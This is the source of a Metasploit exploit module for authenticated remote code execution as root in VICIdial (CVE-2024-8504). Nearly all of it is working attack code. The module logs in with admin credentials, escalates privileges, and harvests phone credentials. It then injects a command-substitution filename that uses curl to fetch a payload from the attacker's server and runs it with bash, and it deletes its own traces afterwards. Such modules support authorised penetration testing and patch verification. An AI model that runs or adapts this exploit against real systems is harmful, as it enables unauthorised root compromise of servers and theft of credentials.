VICIdial Authenticated Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::HttpServer  prepend Msf::Exploit::Remote::AutoCheck  Rank = ExcellentRanking  def initialize(info = {})    super(      update_info(        info,        'Name' => 'VICIdial Authenticated Remote Code Execution',        'Description' => %q{          An attacker with authenticated access to VICIdial as an "agent"          can execute arbitrary shell commands as the "root" user. This          attack can be chained with CVE-2024-8503 to execute arbitrary          shell commands starting from an unauthenticated perspective.        },        'Author' => [          'Valentin Lobstein',              # Metasploit Module          'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2024-8504'],          ['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-012.txt']        ],        'DisclosureDate' => '2024-09-10',        'Platform' => %w[unix linux],        'Arch' => %w[ARCH_CMD],        'Targets' => [          [            'Unix/Linux Command Shell', {              'Platform' => %w[unix linux],              'Arch' => ARCH_CMD,              'Privileged' => true              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'WfsDelay' => 300,          'SRVPORT' => 5000 # To not have conflict with FETCH_SRVPORT (both are needed for this exploit to work)        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [IOC_IN_LOGS],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('USERNAME', [true, 'Administrator username']),      OptString.new('PASSWORD', [true, 'Administrator password']),    ])  end  def check    res = send_request_cgi({      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'GET'    })    return CheckCode::Unknown unless res&.code == 200    html_doc = res.get_html_document    version_info = html_doc.at_xpath("//td[contains(text(), 'VERSION:')]")&.text ||                   res.body.split("\n").find { |line| line.include?('VERSION:') }    return CheckCode::Unknown unless version_info    extracted_version = version_info.scan(/VERSION:\s*(\d+\.\d+)-(\d+)/).flatten.join('-')    return CheckCode::Unknown if extracted_version.empty?    print_status("VICIdial version: #{extracted_version}")    vulnerable_version = Rex::Version.new('2.14-917a')    current_version = Rex::Version.new(extracted_version)    return current_version <= vulnerable_version ? CheckCode::Vulnerable : CheckCode::Safe  end  def exploit    # Start the HTTP server to handle incoming requests from the payload    start_service    print_status('Server started.')    # Add the resource to serve the payload and prepare the listener    primer    # Authenticate as an administrator using provided credentials    target_uri, request_headers = authenticate_admin    # Elevate user privileges by updating user settings    update_user_settings(target_uri, request_headers)    # Update the system settings for further exploitation    update_system_settings(target_uri, request_headers)    # Create a dummy campaign to act as a decoy during the attack    fake_company_name, fake_campaign_id, fake_list_id, fake_list_name = create_dummy_campaign(target_uri, request_headers)    # Modify the settings of the newly created dummy campaign    update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)    # Create a dummy list associated with the dummy campaign    create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)    # Retrieve phone credentials (extension and password) to authenticate as an agent    phone_extension, phone_password, recording_extension = fetch_phone_credentials(target_uri, request_headers)    # Authenticate to the agent portal using the retrieved phone credentials and campaign ID    session_name, session_id = agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)    # Insert a malicious recording that contains the payload, using the agent session    insert_malicious_recording(request_headers, session_name, session_id, recording_extension)    # Clean up by deleting the campaign created earlier    delete_dummy_campaign(target_uri, request_headers, fake_campaign_id)    # Start the cron job to execute the malicious payload    wait_for_cron_job  end  def primer    add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) })    print_status('Payload is ready at /')  end  def on_request_uri_payload(cli, request)    bash_command = <<-BASH  #!/bin/bash  rm -- $(readlink /proc/$$/fd/255)  cd /var/spool/asterisk/monitor/  #{payload.encoded}  find . -maxdepth 1 -type f -delete    BASH    handle_request(cli, request, bash_command)  end  def handle_request(cli, request, response_payload)    print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}")    case request.uri    when '/'      print_status("Sending response to #{cli.peerhost} for /")      send_response(cli, response_payload)    else      print_error("Request for unknown resource: #{request.uri}")      send_not_found(cli)    end  end  def delete_dummy_campaign(target_uri, request_headers, campaign_id)    print_status("Deleting dummy campaign with ID: #{campaign_id}")    res = send_request_cgi({      'uri' => normalize_uri(target_uri, 'vicidial', 'admin.php'),      'method' => 'GET',      'vars_get' => { 'ADD' => '61', 'campaign_id' => campaign_id, 'CoNfIrM' => 'YES' },      'headers' => request_headers    })    res&.code == 200 ? print_good("Campaign #{campaign_id} deleted successfully.") : print_error("Failed to delete campaign #{campaign_id}.")  end  def authenticate_admin    username = datastore['USERNAME']    password = datastore['PASSWORD']    credentials = "#{username}:#{password}"    credentials_base64 = Rex::Text.encode_base64(credentials)    auth_header = "Basic #{credentials_base64}"    target_uri = normalize_uri(datastore['TARGETURI'], 'vicidial', 'admin.php')    request_params = { 'ADD' => '3', 'user' => username }    request_headers = { 'Authorization' => auth_header }    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'vars_get' => request_params,      'headers' => request_headers,      'keep_cookies' => true    )    fail_with(Failure::UnexpectedReply, 'Failed to authenticate with credentials. Maybe hashing is enabled?') unless res&.code == 200    print_good("Authenticated successfully as user '#{username}'")    [target_uri, request_headers]  end  def update_user_settings(target_uri, request_headers)    faker = Faker::Internet    user_settings_body = {      'ADD' => '4A', 'custom_fields_modify' => '0', 'user' => datastore['USERNAME'], 'DB' => '0',      'pass' => datastore['PASSWORD'], 'force_change_password' => 'N', 'full_name' => Faker::Name.name,      'user_level' => '9', 'user_group' => 'ADMIN', 'phone_login' => faker.username, 'phone_pass' => faker.password,      'active' => 'Y', 'user_new_lead_limit' => '-1', 'agent_choose_ingroups' => '1',      'agent_choose_blended' => '1', 'hotkeys_active' => '0', 'scheduled_callbacks' => '1',      'agentonly_callbacks' => '0', 'next_dial_my_callbacks' => 'NOT_ACTIVE', 'agentcall_manual' => '0',      'manual_dial_filter' => 'DISABLED', 'agentcall_email' => '0', 'agentcall_chat' => '0',      'vicidial_recording' => '1', 'vicidial_transfers' => '1', 'closer_default_blended' => '0',      'user_choose_language' => '0', 'selected_language' => 'default+English', 'vicidial_recording_override' => 'DISABLED',      'mute_recordings' => 'DISABLED', 'alter_custdata_override' => 'NOT_ACTIVE',      'alter_custphone_override' => 'NOT_ACTIVE', 'agent_shift_enforcement_override' => 'ALL',      'agent_call_log_view_override' => 'Y', 'hide_call_log_info' => 'Y', 'agent_lead_search' => 'NOT_ACTIVE',      'lead_filter_id' => 'NONE', 'user_hide_realtime' => '0', 'allow_alerts' => '0',      'preset_contact_search' => 'NOT_ACTIVE', 'max_inbound_calls' => '0', 'max_inbound_filter_enabled' => '0',      'max_inbound_filter_min_sec' => '-1', 'inbound_credits' => '-1', 'max_hopper_calls' => '0',      'max_hopper_calls_hour' => '0', 'wrapup_seconds_override' => '-1', 'ready_max_logout' => '-1',      'RANK_AGENTDIRECT' => '0', 'GRADE_AGENTDIRECT' => '10', 'LIMIT_AGENTDIRECT' => '-1',      'RANK_AGENTDIRECT_CHAT' => '0', 'GRADE_AGENTDIRECT_CHAT' => '10', 'LIMIT_AGENTDIRECT_CHAT' => '-1',      'qc_enabled' => '0', 'qc_user_level' => '1', 'qc_pass' => '0', 'qc_finish' => '0',      'qc_commit' => '0', 'hci_enabled' => '0', 'realtime_block_user_info' => '0',      'admin_hide_lead_data' => '0', 'admin_hide_phone_data' => '0', 'ignore_group_on_search' => '0',      'view_reports' => '1', 'access_recordings' => '0', 'alter_agent_interface_options' => '1',      'modify_users' => '1', 'change_agent_campaign' => '1', 'delete_users' => '1',      'modify_usergroups' => '1', 'delete_user_groups' => '1', 'modify_lists' => '1',      'delete_lists' => '1', 'load_leads' => '1', 'modify_leads' => '1', 'export_gdpr_leads' => '0',      'download_lists' => '1', 'export_reports' => '1', 'delete_from_dnc' => '1',      'modify_campaigns' => '1', 'campaign_detail' => '1', 'modify_dial_prefix' => '1',      'delete_campaigns' => '1', 'modify_ingroups' => '1', 'delete_ingroups' => '1',      'modify_inbound_dids' => '1', 'delete_inbound_dids' => '1', 'modify_custom_dialplans' => '1',      'modify_remoteagents' => '1', 'delete_remote_agents' => '1', 'modify_scripts' => '1',      'delete_scripts' => '1', 'modify_filters' => '1', 'delete_filters' => '1',      'ast_admin_access' => '1', 'ast_delete_phones' => '1', 'modify_call_times' => '1',      'delete_call_times' => '1', 'modify_servers' => '1', 'modify_shifts' => '1',      'modify_phones' => '1', 'modify_carriers' => '1', 'modify_email_accounts' => '0',      'modify_labels' => '1', 'modify_colors' => '1', 'modify_languages' => '0',      'modify_statuses' => '1', 'modify_voicemail' => '1', 'modify_audiostore' => '1',      'modify_moh' => '1', 'modify_tts' => '1', 'modify_contacts' => '1', 'callcard_admin' => '1',      'modify_auto_reports' => '0', 'add_timeclock_log' => '1', 'modify_timeclock_log' => '1',      'delete_timeclock_log' => '1', 'manager_shift_enforcement_override' => '1',      'pause_code_approval' => '1', 'admin_cf_show_hidden' => '0', 'modify_ip_lists' => '0',      'ignore_ip_list' => '0', 'two_factor_override' => 'NOT_ACTIVE', 'vdc_agent_api_access' => '1',      'api_list_restrict' => '0', 'api_allowed_functions%5B%5D' => 'ALL_FUNCTIONS',      'api_only_user' => '0', 'modify_same_user_level' => '1', 'download_invalid_files' => '1',      'alter_admin_interface_options' => '1', 'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => user_settings_body,      'keep_cookies' => true    )    print_good('Updated user settings to increase privileges')  end  def update_system_settings(target_uri, request_headers)    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'headers' => request_headers,      'vars_get' => { 'ADD' => Rex::Text.rand_text_numeric(10, 15) },      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch system settings') unless res    system_settings_body = {}    res.get_html_document.css('input').each do |input_tag|      system_settings_body[input_tag['name']] = input_tag['value']    end    res.get_html_document.css('select').each do |select_tag|      selected_tag = select_tag.at_css('option[selected]')      next unless selected_tag      system_settings_body[select_tag['name']] = selected_tag.text    end    system_settings_body['outbound_autodial_active'] = '0'    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => system_settings_body,      'keep_cookies' => true    )    print_good('Updated system settings')  end  def create_dummy_campaign(target_uri, request_headers)    fake_company_name = Faker::Company.name    fake_campaign_id = Faker::Number.number(digits: 6).to_i    fake_list_id = fake_campaign_id + 1    fake_list_name = "#{fake_company_name} List"    campaign_settings_body = {      'ADD' => '21',      'campaign_id' => fake_campaign_id,      'campaign_name' => fake_company_name,      'user_group' => '---ALL---',      'active' => 'Y',      'allow_closers' => 'Y',      'hopper_level' => '1',      'next_agent_call' => 'random',      'local_call_time' => '12am-12am',      'get_call_launch' => 'NONE',      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => campaign_settings_body,      'keep_cookies' => true    )    print_good("Created dummy campaign '#{fake_company_name}'")    [fake_company_name, fake_campaign_id, fake_list_id, fake_list_name]  end  def update_campaign_settings(target_uri, request_headers, fake_company_name, fake_campaign_id)    update_campaign_body = {      'ADD' => '41',      'campaign_id' => fake_campaign_id,      'old_campaign_allow_inbound' => 'Y',      'campaign_name' => fake_company_name,      'active' => 'Y',      'lead_order' => 'DOWN',      'lead_filter_id' => 'NONE',      'no_hopper_leads_logins' => 'Y',      'hopper_level' => '1',      'reset_hopper' => 'N',      'dial_method' => 'RATIO',      'auto_dial_level' => '1',      'SUBMIT' => 'SUBMIT',      'form_end' => 'END'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => update_campaign_body,      'keep_cookies' => true    )    print_good('Updated dummy campaign settings')  end  def create_dummy_list(target_uri, request_headers, fake_list_name, fake_campaign_id, fake_list_id)    list_settings_body = {      'ADD' => '211',      'list_id' => fake_list_id,      'list_name' => fake_list_name,      'campaign_id' => fake_campaign_id,      'active' => 'Y',      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => target_uri,      'method' => 'POST',      'headers' => request_headers,      'vars_post' => list_settings_body,      'keep_cookies' => true    )    print_good("Created dummy list '#{fake_list_name}' for campaign '#{fake_campaign_id}'")  end  def fetch_phone_credentials(target_uri, request_headers)    res = send_request_cgi(      'uri' => target_uri,      'method' => 'GET',      'headers' => request_headers,      'vars_get' => { 'ADD' => '10000000000' },      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch phone credentials') unless res    phone_uri_path = res.get_html_document.at_css('a:contains("MODIFY")')&.get_attribute('href')    fail_with(Failure::NotFound, 'Failed to find the "MODIFY" link in the phone credentials page') unless phone_uri_path    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], phone_uri_path),      'method' => 'GET',      'headers' => request_headers,      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to fetch phone credentials page') unless res    phone_extension = res.get_html_document.at_css('input[name="extension"]')&.get_attribute('value')    phone_password = res.get_html_document.at_css('input[name="pass"]')&.get_attribute('value')    recording_extension = res.get_html_document.at_css('input[name="recording_exten"]')&.get_attribute('value')    if [phone_extension, phone_password, recording_extension].all?      print_good("Found phone credentials: Extension=#{phone_extension}, Password=#{phone_password}, Recording Extension=#{recording_extension}")    else      fail_with(Failure::NotFound, 'Failed to retrieve one or more phone credentials from the page')    end    [phone_extension, phone_password, recording_extension]  end  def agent_portal_authentication(request_headers, phone_extension, phone_password, fake_campaign_id)    vdc_db_query_body = {      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'LogiNCamPaigns',      'format' => 'html'    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vdc_db_query.php'),      'method' => 'POST',      'vars_post' => vdc_db_query_body,      'keep_cookies' => true    )    fail_with(Failure::NotFound, 'Failed to retrieve hidden input fields') unless res    doc = res.get_html_document    mgr_login_name = doc.at_css('input[name^="MGR_login"]')&.get_attribute('name')    mgr_pass_name = doc.at_css('input[name^="MGR_pass"]')&.get_attribute('name')    if mgr_login_name && mgr_pass_name      print_good("Retrieved dynamic field names: #{mgr_login_name}, #{mgr_pass_name}")    else      begin        today_date = Time.now.strftime('%Y%m%d')        mgr_login_name = "MGR_login#{today_date}"        mgr_pass_name = "MGR_pass#{today_date}"        print_status("Constructed dynamic field names manually: #{mgr_login_name}, #{mgr_pass_name}")      end    end    manager_login_body = {      'DB' => '0',      'JS_browser_height' => '1313',      'JS_browser_width' => '2560',      'phone_login' => phone_extension,      'phone_pass' => phone_password,      'VD_login' => datastore['USERNAME'],      'VD_pass' => datastore['PASSWORD'],      'MGR_override' => '1',      'relogin' => 'YES',      mgr_login_name => datastore['USERNAME'],      mgr_pass_name => datastore['PASSWORD'],      'SUBMIT' => 'SUBMIT'    }    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => manager_login_body,      'keep_cookies' => true    )    print_good('Entered "manager" credentials to override shift enforcement')    agent_login_body = {      'DB' => '0',      'JS_browser_height' => '1313',      'JS_browser_width' => '2560',      'phone_login' => phone_extension,      'phone_pass' => phone_password,      'VD_login' => datastore['USERNAME'],      'VD_pass' => datastore['PASSWORD'],      'VD_campaign' => fake_campaign_id    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'vicidial.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => agent_login_body    )    print_good('Authenticated as agent using phone credentials')    session_name_match = res.body.match(/var\s+session_name\s*=\s*'([a-zA-Z0-9_]+)';/)    session_id_match = res.body.match(/var\s+session_id\s*=\s*'([0-9]+)';/)    if session_name_match && session_id_match      session_name = session_name_match[1]      session_id = session_id_match[1]      print_good("Session Name: #{session_name}, Session ID: #{session_id}")    else      fail_with(Failure::NotFound, 'Failed to retrieve session information')    end    [session_name, session_id]  end  def insert_malicious_recording(request_headers, session_name, session_id, recording_extension)    uri = get_uri.gsub(%r{^https?://}, '').chomp('/')    random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}"    malicious_filename = "$(curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename})"    print_status("Generated malicious command: #{malicious_filename}")    record1_body = {      'server_ip' => datastore['RHOSTS'],      'session_name' => session_name,      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'MonitorConf',      'format' => 'text',      'channel' => "Local/#{recording_extension}@default",      'filename' => malicious_filename,      'exten' => recording_extension,      'ext_context' => 'default',      'ext_priority' => '1',      'FROMvdc' => 'YES',      'FROMapi' => ''    }    res = send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'manager_send.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => record1_body,      'keep_cookies' => true    )    recording_id_match = res.body.match(/RecorDing_ID: ([0-9]+)/)    if recording_id_match      recording_id = recording_id_match[1]      print_status(res.body)    else      fail_with(Failure::Unknown, 'Failed to get recording ID')    end    record2_body = {      'server_ip' => datastore['RHOSTS'],      'session_name' => session_name,      'user' => datastore['USERNAME'],      'pass' => datastore['PASSWORD'],      'ACTION' => 'StopMonitorConf',      'format' => 'text',      'channel' => "Local/#{recording_extension}@default",      'filename' => "ID:#{recording_id}",      'exten' => session_id,      'ext_context' => 'default',      'ext_priority' => '1',      'FROMvdc' => 'YES',      'FROMapi' => ''    }    send_request_cgi(      'uri' => normalize_uri(datastore['TARGETURI'], 'agc', 'conf_exten_check.php'),      'method' => 'POST',      'headers' => request_headers,      'vars_post' => record2_body,      'keep_cookies' => true    )    print_good('Stopped malicious recording to prevent file size from growing')  end  def wait_for_cron_job    print_status("Waiting for #{datastore['WfsDelay']} seconds to allow the cron job to execute the payload...")    service.wait  endend